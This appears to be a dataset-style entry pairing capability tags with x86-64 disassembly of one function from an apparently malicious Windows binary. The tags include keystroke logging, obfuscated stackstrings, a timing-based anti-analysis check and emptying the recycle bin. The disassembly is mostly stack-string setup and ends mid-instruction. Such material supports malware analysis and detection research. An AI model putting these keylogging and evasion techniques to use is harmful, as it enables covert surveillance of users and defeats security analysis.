Function at 0x140001000
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via queryperformancecounter
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Get common file path
Get disk information
Get file system object information
Get system information on windows
Log keystrokes
Log keystrokes via polling

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x221b8
call fcn.1400ded00
sub rsp, rax
mov eax, 0x72b
mov word [rsp + 0x5b4], ax
mov eax, 0x855
mov word [rsp + 0x5b8], ax
mov byte [rsp + 0x50], ILClone
mov dword [rsp + 0x1ca4], 0x42c49838
movabs rax, 0x1ac43e98664b6f96
mov qword [rsp + 0x4b50], rax
mov eax, 0x42d5
mov word [rsp + 0x5bc], ax
mov byte [rsp + 0x51], 0x40
mov dword [rsp + 0x1ca8], 0xb6f03e34
mov dword [rsp + 0x1cac], 0xf86ee02
mov eax, 0x5c6a
mov word [rsp + 0x5c0], ax
movabs rax, 0xa02e90256eb90c6
mov qword [rsp + 0x4b58], rax
mov dword [rsp + 0x1cb0], 0x6270d9e1
mov byte [rsp + 0x52], ILGetNext
mov byte [rsp + 0x53], 0x72
movabs rax, 0x176580fea8c6ae6
mov qword [rsp + 0x4b60], rax
mov dword [rsp + 0x1cb4], 0x81f646b6
mov dword [rsp + 0x1cb8], 0xae34b2f5
mov dword [rsp + 0x1cbc], 0x85b13bba
mov byte [rsp + 0x54], 0x62
movabs rax, 0x55eead47dbb3ecd7
mov qword [rsp + 0x4b68], rax
mov byte [rsp + 0x55], 0x60
mov eax, 0x91e
mov word [rsp + 0x5c4], ax
movabs rax, 0x22051f592e4f0524
mov qword [rsp + 0x4b70], rax
mov dword [rsp + 0x1cc0], 0x358b0d83
mov byte [rsp + 0x56], 0x53
mov dword [rsp + 0x1cc4], 0x1528aa9c
mov byte [rsp + 0x57], 0x41
movabs rax, 0xfe55001a4b9d9c5
mov qword [rsp + 0x4b78], rax
mov dword [rsp + 0x1cc8], 0xc950bc38
mov byte [rsp + 0x58], 0x44
mov eax, 0x5119
mov word [rsp + 0x5c8], ax
mov byte [rsp + 0x59], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x5a], 0x46
mov byte [rsp + 0x5b], 0xea
mov eax, 0x132a
mov word [rsp + 0x5cc], ax
mov eax, 0x8ca
mov word [rsp + 0x5d0], ax
mov byte [rsp + 0x5c], 0xdb
mov dword [rsp + 0x1ccc], 0x66277975
mov eax, 0x686
mov word [rsp + 0x5d4], ax
mov dword [rsp + 0x1cd0], 0xaa3f62fe
mov byte [rsp + 0x5d], 7
movabs rax, 0x681d93279004ca45
mov qword [rsp + 0x4b80], rax
mov eax, 0xb54
mov word [rsp + 0x5d8], ax
mov dword [rsp + 0x1cd4], 0x4a53f969
mov dword [rsp + 0x1cd8], 0x1cb46930
mov eax, 0xea
mov word [rsp + 0x5dc], ax
mov dword [rsp + 0x1cdc], 0xb79a7e78
mov eax, 0x5f00
mov word [rsp + 0x5e0], ax
mov eax, 0x8ce
mov word [rsp + 0x5e4], ax
mov eax, 0x33ab
mov word [rsp + 0x5e8], ax
mov eax, 0x5af9
mov word [rsp + 0x5ec], ax
movabs rax, 0x1500fe47e0365a9c
mov qword [rsp + 0x4b88], rax
mov byte [rsp + 0x5e], 0x3c
mov dword [rsp + 0x1ce0], 0x59dd53da
mov eax, 0x4846
mov word [rsp + 0x5f0], ax
movabs rax, 0x23d9953eed3d20ea
mov qword [rsp + 0x4b90], rax
movabs rax, 0x264f8b0a6eaf52fc
mov qword [rsp + 0x4b98], rax
mov byte [rsp + 0x5f], 0x75
mov eax, 0xfa0
mov word [rsp + 0x5f4], ax
mov dword [rsp + 0x1ce4], 0xfbbaa9d4
movabs rax, 0x67e444bf0d017584
mov qword [rsp + 0x4ba0], rax
mov eax, 0x415
mov word [rsp + 0x5f8], ax
movabs rax, 0x97de1a1c800867f7
mov qword [rsp + 0x4ba8], rax
mov dword [rsp + 0x1ce8], 0x770e291c
mov dword [rsp + 0x1cec], 0x4dc224a
movabs rax, 0x47d6df157137f1a1
mov qword [rsp + 0x4bb0], rax
mov byte [rsp + 0x60], 0x7f
movabs rax, 0xfc253c27adad3a65
mov qword [rsp + 0x4bb8], rax
mov dword [rsp + 0x1cf0], 0x4a8a4def
mov dword [rsp + 0x1cf4], 0x75ce2029
mov eax, 0x4595
mov word [rsp + 0x5fc], ax
mov eax, 0x1fd3
mov word [rsp + 0x600], ax
mov dword [rsp + 0x1cf8], 0xdc25fe6f
movabs rax, 0x3eb45d2c3b29e885
mov qword [rsp + 0x4bc0], rax
mov byte [rsp + 0x61], 0x3d
movabs rax, 0x35a781b161e0480d
mov qword [rsp + 0x4bc8], rax
mov byte [rsp + 0x62], 0x39
mov byte [rsp + 0x63], 0x77
mov eax, 0x5ad
mov word [rsp + 0x604], ax
mov eax, 0x7a54
mov word [rsp + 0x608], ax
mov byte [rsp + 0x64], 0x3c
mov byte [rsp + 0x65], 0x2c
mov byte [rsp + 0x66], 0x8d
movabs rax, 0xfe9748f969be629
mov qword [rsp + 0x4bd0], rax
mov byte [rsp + 0x67], 0x3c
mov eax, 0x62ab
mov word [rsp + 0x60c], ax
mov byte [rsp + 0x68], 1
movabs rax, 0x3e8c29353189652
mov qword [rsp + 0x4bd8], rax
movabs rax, 0x572177b9726f5f1b
mov qword [rsp + 0x4be0], rax
mov byte [rsp + 0x69], 0
mov eax, 0x2a3
mov word [rsp + 0x610], ax
mov byte [rsp + 0x6a], 0xc5
mov byte [rsp + 0x6b], 0
mov byte [rsp + 0x6c], 0x58
movabs rax, 0x6058f2fbf4d7d011
mov qword [rsp + 0x4be8], rax
mov byte [rsp + 0x6d], 0x8f
mov dword [rsp + 0x1cfc], 0xc1d5b287
mov dword [rsp + 0x1d00], 0xd0ec7a3f
mov eax, 0x380
mov word [rsp + 0x614], ax
mov eax, 0x548
mov word [rsp + 0x618], ax
mov byte [rsp + 0x6e], 0x6e
movabs rax, 0x55f7f9f96af45f80
mov qword [rsp + 0x4bf0], rax
mov byte [rsp + 0x6f], 0x3b
movabs rax, 0x83d73f2956f8378
mov qword [rsp + 0x4bf8], rax
movabs rax, 0x5dccdd2396a3b30a
mov qword [rsp + 0x4c00], rax
mov dword [rsp + 0x1d04], 0x44cd40f
mov dword [rsp + 0x1d08], 0xa154c9e4
mov dword [rsp + 0x1d0c], 0x35ef249e
mov dword [rsp + 0x1d10], 0xc635daa6
movabs rax, 0x510e06e4298c38b3
mov qword [rsp + 0x4c08], rax
movabs rax, 0x77d47a896cd842f5
mov qword [rsp + 0x4c10], rax
movabs rax, 0x229bae305bb998aa
mov qword [rsp + 0x4c18], rax
mov dword [rsp + 0x1d14], 0x36ba940b
mov byte [rsp + 0x70], 0x58
mov eax, 0xe0b
mov word [rsp + 0x61c], ax
mov dword [rsp + 0x1d18], 0x65a17871
mov dword [rsp + 0x1d1c], 0x77de4e3a
mov dword [rsp + 0x1d20], 0xc2527e9d
mov eax, 0x4ac8
mov word [rsp + 0x620], ax
mov eax, 0x27b
mov word [rsp + 0x624], ax
mov dword [rsp + 0x1d24], 0x7e01e0d6
movabs rax, 0x260deb9de04a82ba
mov qword [rsp + 0x4c20], rax
movabs rax, 0x2bb56060cfe8aa72
mov qword [rsp + 0x4c28], rax
movabs rax, 0x669f12acf7748964
mov qword [rsp + 0x4c30], rax
mov eax, 0xbb4
mov word [rsp + 0x628], ax
mov byte [rsp + 0x71], 0x1e
mov byte [rsp + 0x72], 0xce
mov eax, 0x3149
mov word [rsp + 0x62c], ax
movabs rax, 0x6da442ed8215f54f
mov qword [rsp + 0x4c38], rax
mov dword [rsp + 0x1d28], 0x7655093e
mov byte [rsp + 0x73], ILIsParent
mov byte [rsp + 0x74], 0x9f
mov byte [rsp + 0x75], 0x9f
movabs rax, 0x6bcf20bcd0461d46
mov qword [rsp + 0x4c40], rax
mov byte [rsp + 0x76], 0x6b
mov dword [rsp + 0x1d2c], 0x7054b2f4
movabs rax, 0x4be88b6485dd2081
mov qword [rsp + 0x4c48], rax
mov dword [rsp + 0x1d30], 0x4043020a
mov eax, 0x39df
mov word [rsp + 0x630], ax
mov eax, 0x5f0c
mov word [rsp + 0x634], ax
mov byte [rsp + 0x77], 0xef
mov eax, 0x1756
mov word [rsp + 0x638], ax
mov dword [rsp + 0x1d34], 0x4571a2ec
movabs rax, 0x3a55517c9975a73
mov qword [rsp + 0x4c50], rax
movabs rax, 0x511f240966183180
mov qword [rsp + 0x4c58], rax
mov byte [rsp + 0x78], 0x39
mov dword [rsp + 0x1d38], 0x39f70699
mov dword [rsp + 0x1d3c], 0xf1b3f602
mov byte [rsp + 0x79], 0x30
mov dword [rsp + 0x1d40], 0x57ebb67
mov eax, 0xb1d
mov word [rsp + 0x63c], ax
movabs rax, 0x61d988deec0771ae
mov qword [rsp + 0x4c60], rax
movabs rax, 0x6823fa8405b75472
mov qword [rsp + 0x4c68], rax
movabs rax, 0xeb7fbf8a8fdf8f85
mov qword [rsp + 0x4c70], rax
movabs rax, 0xedeca57ef69c5ff5
mov qword [rsp + 0x4c78], rax
mov byte [rsp + 0x7a], 0x42
mov eax, 0x41a
mov word [rsp + 0x640], ax
mov dword [rsp + 0x1d44], 0x30e6aa55
movabs rax, 0xf7efc0b1e196d798
mov qword [rsp + 0x4c80], rax
mov byte [rsp + 0x7b], 0x1f
mov dword [rsp + 0x1d48], 0xe2b3424c
movabs rax, 0x56cef613e83de58f
mov qword [rsp + 0x4c88], rax
mov dword [rsp + 0x1d4c], 0xac475cae
movabs rax, 0x430c86542eb16d8
mov qword [rsp + 0x4c90], rax
mov byte [rsp + 0x7c], 0x2c
movabs rax, 0x6ff2e6c8b25682e8
mov qword [rsp + 0x4c98], rax
mov dword [rsp + 0x1d50], 0x7fd0578f
mov dword [rsp + 0x1d54], 0xb12e9889
mov byte [rsp + 0x7d], 0x41
mov eax, 0x36c
mov word [rsp + 0x644], ax
mov byte [rsp + 0x7e], 0xa7
mov byte [rsp + 0x7f], 0xe8
movabs rax, 0xa19c99df8541a63d
mov qword [rsp + 0x4ca0], rax
mov eax, 0xc71
mov word [rsp + 0x648], ax
movabs rax, 0x398abdc026c78eda
mov qword [rsp + 0x4ca8], rax
movabs rax, 0x4b6e3ebcda6a510f
mov qword [rsp + 0x4cb0], rax
mov dword [rsp + 0x1d58], 0x14b16de0
mov eax, 0x16d
mov word [rsp + 0x64c], ax
mov dword [rsp + 0x1d5c], 0x54715e17
mov byte [rsp + 0x80], 0x85
mov dword [rsp + 0x1d60], 0x8fc1716
movabs rax, 0xfa1abcdbe90d0055
mov qword [rsp + 0x4cb8], rax
mov eax, 0x6f5c
mov word [rsp + 0x650], ax
mov byte [rsp + 0x81], 0x5b
mov eax, 0xcf0
mov word [rsp + 0x654], ax
mov eax, 0xb1a
mov word [rsp + 0x658], ax
movabs rax, 0xac582e432a247ac2
mov qword [rsp + 0x4cc0], rax
mov byte [rsp + 0x82], 0x22
mov eax, 0x100
mov word [rsp + 0x65c], ax
mov dword [rsp + 0x1d64], 0x3b568988
mov eax, 0x68c
mov word [rsp + 0x660], ax
mov dword [rsp + 0x1d68], 0x2789a614
mov dword [rsp + 0x1d6c], 0xefce39ab
movabs rax, 0x4dd6697ccd22b457
mov qword [rsp + 0x4cc8], rax
mov byte [rsp + 0x83], 0xe4
mov eax, 0x46f4
mov word [rsp + 0x664], ax
movabs rax, 0x18ccb9cb80b7efb5
mov qword [rsp + 0x4cd0], rax
movabs rax, 0x1768a3059ced132f
mov qword [rsp + 0x4cd8], rax
mov eax, 0x1da3
mov word [rsp + 0x668], ax
mov byte [rsp + 0x84], 0x1f
mov dword [rsp + 0x1d70], 0x520f76da
mov dword [rsp + 0x1d74], 0x1af6023a
mov dword [rsp + 0x1d78], 0x397326fa
movabs rax, 0xd1509845ac9afb1
mov qword [rsp + 0x4ce0], rax
mov dword [rsp + 0x1d7c], 0x5bd7ba5
mov byte [rsp + 0x85], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0x1d80], 0xd409f4e0
mov dword [rsp + 0x1d84], 0x3f9f22b5
mov eax, 0x6df
mov word [rsp + 0x66c], ax
movabs rax, 0x5bb9ae4f3819754d
mov qword [rsp + 0x4ce8], rax
mov eax, 0x7500
mov word [rsp + 0x670], ax
mov eax, 0x1122
mov word [rsp + 0x674], ax
mov eax, 0x2fc
mov word [rsp + 0x678], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x12928]
call fcn.1400dec80
mov eax, 0x45e
mov word [rsp + 0x67c], ax
movabs rax, 0x62d28e92fa8e1d09
mov qword [rsp + 0x4cf0], rax
movabs rax, 0x986945c61604962d
mov qword [rsp + 0x4cf8], rax
mov byte [rsp + 0x86], 0x8e
mov byte [rsp + 0x87], 0x52
movabs rax, 0xae0054f45bd5d34c
mov qword [rsp + 0x4d00], rax
movabs rax, 0x4a9253e727b20669
mov qword [rsp + 0x4d08], rax
mov byte [rsp + 0x88], 0x63
movabs rax, 0x5b466c77bc23a157
mov qword [rsp + 0x4d10], rax
mov eax, 0xcf1
mov word [rsp + 0x680], ax
movabs rax, 0x3ec3502020f665a0
mov qword [rsp + 0x4d18], rax
mov byte [rsp + 0x89], ILGetNext
mov dword [rsp + 0x1d88], 0x47b550bc
mov dword [rsp + 0x1d8c], 0xfac1e6df
mov dword [rsp + 0x1d90], 0xbed22967
mov eax, 0x4229
mov word [rsp + 0x684], ax
mov dword [rsp + 0x1d94], 0x3eebad07
mov byte [rsp + 0x8a], 0x32
mov byte [rsp + 0x8b], 0xcb
movabs rax, 0xa0129169200e4a8e
mov qword [rsp + 0x4d20], rax
mov dword [rsp + 0x1d98], 0x901fafc3
mov eax, 0x387
mov word [rsp + 0x688], ax
mov eax, 0x4ecf
mov word [rsp + 0x68c], ax
mov dword [rsp + 0x1d9c], 0xb6c26abd
movabs rax, 0x6820bd2b68adfc57
mov qword [rsp + 0x4d28], rax
mov eax, 0xee1
mov word [rsp + 0x690], ax
mov byte [rsp + 0x8c], ILSaveToStream
movabs rax, 0x73f14592180f628f
mov qword [rsp + 0x4d30], rax
mov eax, 0x5f36
mov word [rsp + 0x694], ax
mov byte [rsp + 0x8d], 2
mov eax, 0x6bf
mov word [rsp + 0x698], ax
mov eax, 0x6aaf
mov word [rsp + 0x69c], ax
mov dword [rsp + 0x1da0], 0x31891a12
movabs rax, 0x57a5eb10d1d93cd7
mov qword [rsp + 0x4d38], rax
mov dword [rsp + 0x1da4], 0x7a55d6bd
mov eax, 0x188
mov word [rsp + 0x6a0], ax
mov eax, 0x1e2
mov word [rsp + 0x6a4], ax
mov dword [rsp + 0x1da8], 0x4854901c
mov dword [rsp + 0x1dac], 0x5e434122
mov dword [rsp + 0x1db0], 0xd1e495fa
mov dword [rsp + 0x1db4], 0x270e32a1
mov eax, 0x701
mov word [rsp + 0x6a8], ax
mov byte [rsp + 0x8e], 0x4e
mov eax, 0x228
mov word [rsp + 0x6ac], ax
mov byte [rsp + 0x8f], 0xa1
movabs rax, 0xfa9d02536be85e6c
mov qword [rsp + 0x4d40], rax
movabs rax, 0x7070cef6212addc6
mov qword [rsp + 0x4d48], rax
mov byte [rsp + 0x90], 0x22
movabs rax, 0x1e6f62cc449a938c
mov qword [rsp + 0x4d50], rax
movabs rax, 0x77c051e5949f88df
mov qword [rsp + 0x4d58], rax
mov eax, 0x93c
mov word [rsp + 0x6b0], ax
mov byte [rsp + 0x91], 0xd0
mov byte [rsp + 0x92], 0x65
mov eax, 0xe0e
mov word [rsp + 0x6b4], ax
movabs rax, 0x62568d3f6ac87eda
mov qword [rsp + 0x4d60], rax
mov eax, 0x16f
mov word [rsp + 0x6b8], ax
mov byte [rsp + 0x93], 0x6a
mov dword [rsp + 0x1db8], 0xdd8270fa
mov dword [rsp + 0x1dbc], 0x5f8756fb
mov eax, 0xc55
mov word [rsp + 0x6bc], ax
mov eax, 0x53f
mov word [rsp + 0x6c0], ax
mov eax, 0x78d4
mov word [rsp + 0x6c4], ax
mov eax, 0x109
mov word [rsp + 0x6c8], ax
mov byte [rsp + 0x94], 0x42
movabs rax, 0xa2a2265e82c7376
mov qword [rsp + 0x4d68], rax
movabs rax, 0xf790d0098a5fdfcf
mov qword [rsp + 0x4d70], rax
mov eax, 0x3226
mov word [rsp + 0x6cc], ax
mov dword [rsp + 0x1dc0], 0x807bc2dd
mov byte [rsp + 0x95], 0xc1
movabs rax, 0x3627dd3ca9772b99
mov qword [rsp + 0x4d78], rax
mov eax, 0xe92
mov word [rsp + 0x6d0], ax
mov byte [rsp + 0x96], 0x73
mov byte [rsp + 0x97], 0x6b
movabs rax, 0xf5d28a844f4d637
mov qword [rsp + 0x4d80], rax
mov eax, 0x7875
mov word [rsp + 0x6d4], ax
mov dword [rsp + 0x1dc4], 0x1ac16cc0
mov eax, 0x7088
mov word [rsp + 0x6d8], ax
movabs rax, 0x5a331ba19c9bbde0
mov qword [rsp + 0x4d88], rax
mov dword [rsp + 0x1dc8], 0x1c68718e
mov dword [rsp + 0x1dcc], 0x439edf57
mov eax, 0xb4c
mov word [rsp + 0x6dc], ax
movabs rax, 0x8ff6625ead83159b
mov qword [rsp + 0x4d90], rax
mov byte [rsp + 0x98], 0xc8
mov dword [rsp + 0x1dd0], 0xa9c1aaae
mov dword [rsp + 0x1dd4], 0x1aa92dea
mov eax, 0x352c
mov word [rsp + 0x6e0], ax
mov byte [rsp + 0x99], 0x5a
mov dword [rsp + 0x1dd8], 0x8d10870a
movabs rax, 0x11dee7cd6eeebbc3
mov qword [rsp + 0x4d98], rax
mov dword [rsp + 0x1ddc], 0xa57f9d66
mov byte [rsp + 0x9a], 0x75
mov byte [rsp + 0x9b], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x9c], 0x57
mov dword [rsp + 0x1de0], 0xdbe437bc
mov dword [rsp + 0x1de4], 0x33d3239e
movabs rax, 0x9d1eca71518ab3f6
mov qword [rsp + 0x4da0], rax
mov byte [rsp + 0x9d], 0x74
mov dword [rsp + 0x1de8], 0x2c5f4232
movabs rax, 0x4a188cf7fe0fdd58
mov qword [rsp + 0x4da8], rax
mov dword [rsp + 0x1dec], 0xd74ba92f
mov dword [rsp + 0x1df0], 0x5105d7ed
mov eax, 0x822
mov word [rsp + 0x6e4], ax
mov dword [rsp + 0x1df4], 0x1047ff36
mov eax, 0x15f
mov word [rsp + 0x6e8], ax
mov byte [rsp + 0x9e], PathYetAnotherMakeUniqueName
mov eax, 0x498
mov word [rsp + 0x6ec], ax
mov byte [rsp + 0x9f], 0x28
mov byte [rsp + 0xa0], 0x20
movabs rax, 0x693459387839d64d
mov qword [rsp + 0x4db0], rax
mov dword [rsp + 0x1df8], 0xd4eb5de
movabs rax, 0x3a163965bec2dc6e
mov qword [rsp + 0x4db8], rax
mov byte [rsp + 0xa1], 0x6e
mov byte [rsp + 0xa2], 0x70
mov byte [rsp + 0xa3], 0x58
mov dword [rsp + 0x1dfc], 0xbfd8437b
mov byte [rsp + 0xa4], 0xce
mov dword [rsp + 0x1e00], 0xef96c776
mov eax, 0x6549
mov word [rsp + 0x6f0], ax
mov dword [rsp + 0x1e04], 0x2d6876f5
mov dword [rsp + 0x1e08], 0x5a03feb7
mov dword [rsp + 0x1e0c], 0x76bf1c7d
movabs rax, 0xb3c3aad29d0f98ea
mov qword [rsp + 0x4dc0], rax
movabs rax, 0x786e9c7e31342fa9
mov qword [rsp + 0x4dc8], rax
mov eax, 0xfea
mov word [rsp + 0x6f4], ax
mov eax, 0x7d14
mov word [rsp + 0x6f8], ax
mov dword [rsp + 0x1e10], 0x73f1d2fa
mov eax, 0xffc
mov word [rsp + 0x6fc], ax
mov dword [rsp + 0x1e14], 0x3a64f13e
mov eax, 0x3bc
mov word [rsp + 0x700], ax
movabs rax, 0x1bdfa6edd6e59dc0
mov qword [rsp + 0x4dd0], rax
mov byte [rsp + 0xa5], 0x6b
mov dword [rsp + 0x1e18], 0x7282a77f
mov eax, 0x686
mov word [rsp + 0x704], ax
mov eax, 0x71f4
mov word [rsp + 0x708], ax
mov eax, 0x2f0f
mov word [rsp + 0x70c], ax
mov dword [rsp + 0x1e1c], 0x596951ee
mov dword [rsp + 0x1e20], 0x5df9a6d0
movabs rax, 0xaad6e370b5153249
mov qword [rsp + 0x4dd8], rax
mov byte [rsp + 0xa6], 4
mov dword [rsp + 0x1e24], 0x39fb1459
mov dword [rsp + 0x1e28], 0x7d31cc69
mov dword [rsp + 0x1e2c], 0x50f95b38
mov dword [rsp + 0x1e30], 0x7c163da4
mov dword [rsp + 0x1e34], 0xbff4263d
mov dword [rsp + 0x1e38], 0x1803c9ea
mov eax, 0x7af3
mov word [rsp + 0x710], ax
mov byte [rsp + 0xa7], ILClone
mov eax, 0x2959
mov word [rsp + 0x714], ax
mov eax, 0x1bd5
mov word [rsp + 0x718], ax
mov eax, 0x92f
mov word [rsp + 0x71c], ax
movabs rax, 0x21c7fab77e01cc73
mov qword [rsp + 0x4de0], rax
mov byte [rsp + 0xa8], 0xe1
movabs rax, 0x73d5e9fca96d41dc
mov qword [rsp + 0x4de8], rax
mov dword [rsp + 0x1e3c], 0x221faf12
movabs rax, 0xe9bcd77daa61a5e
mov qword [rsp + 0x4df0], rax
mov eax, 0x5486
mov word [rsp + 0x720], ax
mov byte [rsp + 0xa9], 0x6b
mov dword [rsp + 0x1e40], 0x410bf4a6
mov dword [rsp + 0x1e44], 0x1ec6f3c2
mov dword [rsp + 0x1e48], 0xcef2cd1a
movabs rax, 0x6cbbd98b5a86bfaf
mov qword [rsp + 0x4df8], rax
movabs rax, 0x9431d2b16164acc
mov qword [rsp + 0x4e00], rax
mov dword [rsp + 0x1e4c], 0x4e41d289
movabs rax, 0x14588f6b619ba97b
mov qword [rsp + 0x4e08], rax
movabs rax, 0xaefeb154003b086b
mov qword [rsp + 0x4e10], rax
mov dword [rsp + 0x1e50], 0x714f4ce7
mov dword [rsp + 0x1e54], 0x70133ef8
mov dword [rsp + 0x1e58], 0x6789dd01
mov eax, 0x8ea
mov word [rsp + 0x724], ax
mov eax, 0x1d44
mov word [rsp + 0x728], ax
movabs rax, 0x34bfe3546e817cf7
mov qword [rsp + 0x4e18], rax
mov dword [rsp + 0x1e5c], 0x246c27f3
mov dword [rsp + 0x1e60], 0x5ad1ec15
movabs rax, 0x8990af1373eee252
mov qword [rsp + 0x4e20], rax
mov eax, 0x744
mov word [rsp + 0x72c], ax
mov dword [rsp + 0x1e64], 0x50426a00
mov eax, 0x185c
mov word [rsp + 0x730], ax
mov byte [rsp + 0xaa], 0x66
movabs rax, 0x46470fa4f908498c
mov qword [rsp + 0x4e28], rax
movabs rax, 0x9d53d8ab0ceeb5d2
mov qword [rsp + 0x4e30], rax
movabs rax, 0x43261a6b68193d60
mov qword [rsp + 0x4e38], rax
mov dword [rsp + 0x1e68], 0xbf0c4de
mov dword [rsp + 0x1e6c], 0x994a3883
mov byte [rsp + 0xab], ILCombine
mov dword [rsp + 0x1e70], 0xc1da376
movabs rax, 0xb70466eb48f120e
mov qword [rsp + 0x4e40], rax
mov byte [rsp + 0xac], ILCombine
mov eax, 0x1daa
mov word [rsp + 0x734], ax
mov eax, 0xabe
mov word [rsp + 0x738], ax
movabs rax, 0xd89f7617eec3e5f5
mov qword [rsp + 0x4e48], rax
mov dword [rsp + 0x1e74], 0x9b25a04
movabs rax, 0x549a1bbd514e9523
mov qword [rsp + 0x4e50], rax
mov eax, 0x2d4
mov word [rsp + 0x73c], ax
movabs rax, 0x9701b7e7ed330d5
mov qword [rsp + 0x4e58], rax
mov dword [rsp + 0x1e78], 0x203b02d7
mov dword [rsp + 0x1e7c], 0x130558c2
mov byte [rsp + 0xad], 0x59
mov eax, 0xc7c
mov word [rsp + 0x740], ax
movabs rax, 0x543d754f9808f3b0
mov qword [rsp + 0x4e60], rax
mov byte [rsp + 0xae], 0x55
mov byte [rsp + 0xaf], 0x77
movabs rax, 0xdf8229d66a4a5d8
mov qword [rsp + 0x4e68], rax
mov byte [rsp + 0xb0], 0x6c
mov eax, 0x5653
mov word [rsp + 0x744], ax
mov eax, 0x683c
mov word [rsp + 0x748], ax
movabs rax, 0x93fa3acc272c59b5
mov qword [rsp + 0x4e70], rax
movabs rax, 0x49e77946403e4e49
mov qword [rsp + 0x4e78], rax
mov eax, 0x187
mov word [rsp + 0x74c], ax
movabs rax, 0x97a32af3cd016e68
mov qword [rsp + 0x4e80], rax
mov byte [rsp + 0xb1], ILGetSize
mov byte [rsp + 0xb2], 0x65
mov byte [rsp + 0xb3], 0x63
mov eax, 0xf53
mov word [rsp + 0x750], ax
mov dword [rsp + 0x1e80], 0x12b28ab4
movabs rax, 0x87d724698a1797a6
mov qword [rsp + 0x4e88], rax
mov byte [rsp + 0xb4], 0x4e
mov byte [rsp + 0xb5], 0x3a
mov dword [rsp + 0x1e84], 0x97416158
mov dword [rsp + 0x1e88], 0x72b9ecc
mov byte [rsp + 0xb6], 0x75
mov byte [rsp + 0xb7], 9
mov byte [rsp + 0xb8], 0x1e
mov eax, 0x79cb
mov word [rsp + 0x754], ax
mov byte [rsp + 0xb9], 0x22
movabs rax, 0xb823ee694e02f7e3
mov qword [rsp + 0x4e90], rax
mov dword [rsp + 0x1e8c], 0x66d9c128
mov byte [rsp + 0xba], 0xc0
mov byte [rsp + 0xbb], SHUpdateImageA
mov dword [rsp + 0x1e90], 0xb144bce
mov eax, 0x2d2d
mov word [rsp + 0x758], ax
mov eax, 0x4b7b
mov word [rsp + 0x75c], ax
mov eax, 0x4f3
mov word [rsp + 0x760], ax
mov byte [rsp + 0xbc], 0x1e
mov dword [rsp + 0x1e94], 0x57664b16
movabs rax, 0x65a5b83690fba150
mov qword [rsp + 0x4e98], rax
mov eax, 0x53c
mov word [rsp + 0x764], ax
mov eax, 0xae6
mov word [rsp + 0x768], ax
mov byte [rsp + 0xbd], reloc.SHELL32.dll_ILIsEqual
mov eax, 0xc9e
mov word [rsp + 0x76c], ax
mov dword [rsp + 0x1e98], 0x535ac0cc
mov byte [rsp + 0xbe], 0xc5
movabs rax, 0xc9c8be653d2c0a1d
mov qword [rsp + 0x4ea0], rax
movabs rax, 0x50a566a291eb2313
mov qword [rsp + 0x4ea8], rax
movabs rax, 0x473a45c83bd81b36
mov qword [rsp + 0x4eb0], rax
mov byte [rsp + 0xbf], 0xd3
movabs rax, 0x3bf90a2ed74a3658
mov qword [rsp + 0x4eb8], rax
movabs rax, 0x937ec7458892f7cd
mov qword [rsp + 0x4ec0], rax
mov byte [rsp + 0xc0], 0x62
movabs rax, 0x22b13c4f400ef33d
mov qword [rsp + 0x4ec8], rax
movabs rax, 0xa5c1c52a6b5003c
mov qword [rsp + 0x4ed0], rax
mov dword [rsp + 0x1e9c], 0x5469d537
movabs rax, 0x2fa83c78c8ea5d23
mov qword [rsp + 0x4ed8], rax
movabs rax, 0xd4d407406dda50d
mov qword [rsp + 0x4ee0], rax
mov eax, 0xac3
mov word [rsp + 0x770], ax
mov byte [rsp + 0xc1], 0xb5
mov byte [rsp + 0xc2], 0
mov dword [rsp + 0x1ea0], 0x28fbf78c
mov byte [rsp + 0xc3], 0xb4
mov byte [rsp + 0xc4], 0xb7
mov eax, 0x7910
mov word [rsp + 0x774], ax
mov eax, 0x4d6
mov word [rsp + 0x778], ax
movabs rax, 0x12cfaa29818c36ec
mov qword [rsp + 0x4ee8], rax
mov eax, 0x1bc7
mov word [rsp + 0x77c], ax
mov byte [rsp + 0xc5], ILClone
movabs rax, 0x2e85403234e12653
mov qword [rsp + 0x4ef0], rax
mov eax, 0xd94
mov word [rsp + 0x780], ax
mov dword [rsp + 0x1ea4], 0xa9badbe3
mov dword [rsp + 0x1ea8], 0x759c4451
mov eax, 0x1ede
mov word [rsp + 0x784], ax
movabs rax, 0xb0319705d06209d8
mov qword [rsp + 0x4ef8], rax
mov byte [rsp + 0xc6], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x1eac], 0x7dfc067
mov eax, 0x3c2
mov word [rsp + 0x788], ax
mov dword [rsp + 0x1eb0], 0xf8dc90ac
movabs rax, 0xd90e8710412bd347
mov qword [rsp + 0x4f00], rax
movabs rax, 0x3273a25f00def0ca
mov qword [rsp + 0x4f08], rax
mov byte [rsp + 0xc7], 0x72
movabs rax, 0x33864ff7fd646013
mov qword [rsp + 0x4f10], rax
mov dword [rsp + 0x1eb4], 0xc8dc17eb
movabs rax, 0x3c46a391f8827dcc
mov qword [rsp + 0x4f18], rax
mov eax, 0xcb8
mov word [rsp + 0x78c], ax
mov dword [rsp + 0x1eb8], 0x9167c81
mov dword [rsp + 0x1ebc], 0x78379994
mov dword [rsp + 0x1ec0], 0x523ade69
mov byte [rsp + 0xc8], 0xf9
mov dword [rsp + 0x1ec4], 0x56cd8df9
mov byte [rsp + 0xc9], 0x1f
movabs rax, 0x59b2c9067f0b8adb
mov qword [rsp + 0x4f20], rax
mov byte [rsp + 0xca], 0x56
mov dword [rsp + 0x1ec8], 0x79fb276e
mov eax, 0x21bc
mov word [rsp + 0x790], ax
mov dword [rsp + 0x1ecc], 0x611a277a
mov eax, 0x916
mov word [rsp + 0x794], ax
mov eax, 0x4ead
mov word [rsp + 0x798], ax
mov byte [rsp + 0xcb], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0xa8b09e16c58daf6
mov qword [rsp + 0x4f28], rax
mov dword [rsp + 0x1ed0], 0x6dd1913d
movabs rax, 0x380ad44a6c461ab0
mov qword [rsp + 0x4f30], rax
mov eax, 0x71bd
mov word [rsp + 0x79c], ax
mov byte [rsp + 0xcc], 0x7c
movabs rax, 0xeeaa0d4c84328377
